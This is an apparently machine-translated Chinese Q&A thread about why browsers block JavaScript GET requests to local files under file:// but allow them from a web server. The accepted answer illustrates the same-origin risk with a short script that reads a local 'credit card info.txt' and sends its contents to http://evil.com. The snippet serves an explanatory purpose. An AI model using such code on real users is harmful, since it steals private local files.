2014-08-31 75 views
-2

我對網絡技術很陌生,但這總是讓我感到困惑。爲什麼你需要一個網絡服務器來使用GET和POST

如果我在同一個目錄下有一個javascript文件和文本文件的html文件,爲什麼我不能在我的web瀏覽器(C:\ somepath \ index.html)中打開html文件並閱讀文本文件與來自JavaScript文件的GET請求?

如果我把這些文件扔在一個web服務器(如tomcat)上,它會突然生效。這是爲什麼?

我知道你可以用HTML5閱讀本地文件,但我很好奇爲什麼你不能在以前。

對不起,如果我使用不正確的術語。

+1

這不是這種類型的問題的地方。它太廣泛了。 – Anonymous 2014-08-31 00:38:56

+2

Ajax需要一個[來源驗證](https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy)和'file://'沒有一個。 「[原始空值是不允許訪問控制允許來源](http://stackoverflow.com/questions/8456538/origin-null-is-not-allowed-by-access-control-allow-origin)」 – 2014-08-31 00:39:05

+0

@Anonymous你會推薦什麼我得到這個問題的答案?我不知道任何關鍵詞(因爲我是新手)使用Jonathan的鏈接,所以很難找到答案。我發現大多數教程只是說「啓動tomcat」,但不要解釋爲什麼我想我會問這裏。 – SelfSurgery 2014-08-31 01:04:19

回答

3

首先,一個HTTP請求如下:

GET/HTTP/1.1 
Host: stackoverflow.com 
… more headers … 

它是由一個服務器,然後才能決定與任何迴應接收。當你的瀏覽器顯示本地頁面時,它實際上並沒有提出任何請求;沒有服務器來接收它們。它只是特例 - file:方案並顯示文件。

至於爲什麼你不能從本地文件請求其他本地文件:這將是一個巨大的安全問題。您可以顯示其他網頁從本地文件,所以想象一下:您保存網頁,一天後打開它,並在它是:

<script> 
var rq = new XMLHttpRequest(); 
rq.open('GET', 'file:///C:\\Users\\some intelligent guess\\' + 
       'Desktop\\credit card info.txt', false); 
rq.send(null); 
document.location = 'http://evil.com/save?data=' + encodeURIComponent(rq.responseText); 
</script> 

易被盜。另一方面,只有當用戶使用文件瀏覽對話框手動選擇要讀取的文件時,才能使用HTML5讀取本地文件。該網頁沒有權限讀取任意文件而無需交互。

+0

謝謝。我知道這是某種安全問題,但我想知道是什麼讓HTML5更「安全」。 – SelfSurgery 2014-08-31 00:58:36

+0

我認爲這裏的重要部分(與您的問題有關)是瞭解GET和POST請求實際上是_HTTP_請求,因此需要HTTP服務器來理解和響應它們。 – 2014-08-31 01:10:44

+0

@StevenBakhtiari哇。這應該比我們早點擊了很多。 – SelfSurgery 2014-08-31 01:16:11

相關問題